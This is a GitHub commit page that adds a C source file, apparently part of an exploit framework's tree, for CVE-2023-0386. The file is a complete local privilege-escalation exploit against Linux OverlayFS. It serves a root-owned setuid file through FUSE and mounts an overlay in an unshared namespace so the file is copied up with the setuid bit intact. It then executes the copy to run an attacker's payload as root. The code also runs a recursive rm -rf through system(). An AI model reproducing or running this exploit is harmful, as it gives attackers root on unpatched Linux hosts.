Skip to content

Commit cd97b08

Browse files
committed
Move C code to separate file
1 parent 1cc562c commit cd97b08

File tree

3 files changed

+229
-220
lines changed

3 files changed

+229
-220
lines changed
Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
// Kudos to https://github.com/xkaneiki/CVE-2023-0386
2+
// Just refactored and eased code to only one binary.
3+
4+
#define FUSE_USE_VERSION 29
5+
#include <errno.h>
6+
#include <fuse.h>
7+
#include <stdio.h>
8+
#include <string.h>
9+
#include <stdlib.h>
10+
#include <sched.h>
11+
#include <sys/mman.h>
12+
#include <sys/types.h>
13+
#include <unistd.h>
14+
#include <signal.h>
15+
16+
char shell[0x100000];
17+
18+
#define STR_LENGTH 500
19+
char DIR_BASE[STR_LENGTH];
20+
char DIR_WORK[STR_LENGTH];
21+
char DIR_LOWER[STR_LENGTH];
22+
char DIR_UPPER[STR_LENGTH];
23+
char DIR_MERGE[STR_LENGTH];
24+
char BIN_MERGE[STR_LENGTH];
25+
char BIN_UPPER[STR_LENGTH];
26+
27+
28+
void fatal(const char *msg)
29+
{
30+
perror(msg);
31+
exit(1);
32+
}
33+
34+
static int getattr_callback(const char *path, struct stat *stbuf)
35+
{
36+
printf("%s\n", "[+] getattr_callback");
37+
memset(stbuf, 0, sizeof(struct stat));
38+
39+
if (strcmp(path, "/file") == 0)
40+
{
41+
printf("%s\n", path);
42+
stbuf->st_mode = S_IFREG | 04777;
43+
stbuf->st_nlink = 1;
44+
stbuf->st_uid = 0;
45+
stbuf->st_gid = 0;
46+
stbuf->st_size = sizeof(shell);
47+
return 0;
48+
}
49+
else if (strcmp(path, "/") == 0)
50+
{
51+
printf("%s\n", path);
52+
stbuf->st_mode = S_IFDIR | 0777;
53+
stbuf->st_nlink = 2;
54+
stbuf->st_uid = 1000;
55+
stbuf->st_gid = 1000;
56+
return 0;
57+
}
58+
return -ENOENT;
59+
}
60+
61+
static int open_callback(const char *path, struct fuse_file_info *fi)
62+
{
63+
printf("%s\n", "[+] open_callback");
64+
printf("%s\n", path);
65+
if (strcmp(path, "file") == 0)
66+
{
67+
int fd = open("", fi->flags);
68+
69+
return -errno;
70+
}
71+
return 0;
72+
}
73+
74+
static int read_callback(const char *path,
75+
char *buf, size_t size, off_t offset,
76+
struct fuse_file_info *fi)
77+
{
78+
printf("%s\n", "[+] read_callback");
79+
printf(" path : %s\n", path);
80+
printf(" size : 0x%lx\n", size);
81+
printf(" offset: 0x%lx\n", offset);
82+
char tmp;
83+
if (strcmp(path, "/file") == 0)
84+
{
85+
size_t len = sizeof(shell);
86+
if (offset >= len)
87+
return 0;
88+
if ((size > len) || (offset + size > len))
89+
{
90+
memcpy(buf, shell + offset, len - offset);
91+
return len - offset;
92+
}
93+
else
94+
{
95+
memcpy(buf, shell + offset, size);
96+
return size;
97+
}
98+
}
99+
return -ENOENT;
100+
}
101+
102+
103+
// needed for touch
104+
static int ioctl_callback(const char *p, int cmd, void *arg,
105+
struct fuse_file_info *fi, unsigned int flags, void *data)
106+
{
107+
printf("%s\n", "[+] ioctl callback");
108+
printf("path %s\n", p);
109+
printf("cmd 0x%x\n", cmd);
110+
return 0;
111+
}
112+
113+
static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
114+
{
115+
printf("%s\n", "[+] readdir");
116+
filler(buf, "file", NULL, 0);
117+
return 0;
118+
}
119+
120+
static struct fuse_operations fops = {
121+
.getattr = getattr_callback,
122+
.open = open_callback,
123+
.read = read_callback,
124+
.ioctl = ioctl_callback,
125+
.readdir = readdir_callback,
126+
};
127+
128+
void start_fuse()
129+
{
130+
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
131+
struct fuse_chan *chan;
132+
struct fuse *fuse;
133+
134+
if (!(chan = fuse_mount(DIR_LOWER, &args)))
135+
fatal("fuse_mount");
136+
137+
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL)))
138+
{
139+
fuse_unmount(DIR_LOWER, chan);
140+
fatal("fuse_new");
141+
}
142+
143+
fuse_set_signal_handlers(fuse_get_session(fuse));
144+
fuse_loop_mt(fuse);
145+
fuse_unmount(DIR_LOWER, chan);
146+
}
147+
148+
void preps()
149+
{
150+
char buf[4096];
151+
if (mkdir(DIR_BASE, 0777))
152+
perror("mkdir");
153+
sprintf(buf, "rm -rf %s/*", DIR_BASE);
154+
system(buf);
155+
if (mkdir(DIR_LOWER, 0777))
156+
perror("mkdir");
157+
if (mkdir(DIR_UPPER, 0777))
158+
perror("mkdir");
159+
if (mkdir(DIR_WORK, 0777))
160+
perror("mkdir");
161+
if (mkdir(DIR_MERGE, 0777))
162+
perror("mkdir");
163+
}
164+
165+
int main(int argc, char const *argv[])
166+
{
167+
char buf[8192];
168+
// argv[1] = payload to launch
169+
// argv[2] = base_dir
170+
if (argc < 3)
171+
{
172+
puts("[-] usage:");
173+
puts("./exploit [payload path] [base_dir path]");
174+
return -1;
175+
}
176+
177+
int fd = open(argv[1], O_RDONLY);
178+
if (fd < 0)
179+
{
180+
fatal("open payload");
181+
}
182+
int clen = 0;
183+
while (read(fd, shell + clen, 1) > 0)
184+
clen++;
185+
close(fd);
186+
187+
strcpy(DIR_BASE, argv[2]);
188+
snprintf(DIR_WORK, STR_LENGTH, "%s/%s", argv[2], "work");
189+
snprintf(DIR_LOWER, STR_LENGTH, "%s/%s", argv[2], "lower");
190+
snprintf(DIR_UPPER, STR_LENGTH, "%s/%s", argv[2], "upper");
191+
snprintf(DIR_MERGE, STR_LENGTH, "%s/%s", argv[2], "merge");
192+
snprintf(BIN_MERGE, STR_LENGTH, "%s/%s", argv[2], "magic");
193+
snprintf(BIN_UPPER, STR_LENGTH, "%s/%s", argv[2], "magic");
194+
195+
preps();
196+
197+
int pid = fork();
198+
if (pid == 0)
199+
{
200+
start_fuse();
201+
}
202+
else
203+
{
204+
printf("Waiting 1 sec...\n");
205+
sleep(1);
206+
sprintf(buf, "unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=%s,upperdir=%s,workdir=%s %s && ls -la %s && touch %s/file'", DIR_LOWER, DIR_UPPER, DIR_WORK, DIR_MERGE, DIR_MERGE, DIR_MERGE);
207+
printf("%s\n", buf);
208+
system(buf);
209+
kill(pid, SIGINT);
210+
sprintf(buf, "%s/file", DIR_UPPER);
211+
printf("%s\n", buf);
212+
system(buf);
213+
}
214+
return 0;
215+
}

external/source/exploits/CVE-2023-0386/getshell.c

Lines changed: 0 additions & 21 deletions
This file was deleted.

0 commit comments

Comments
 (0)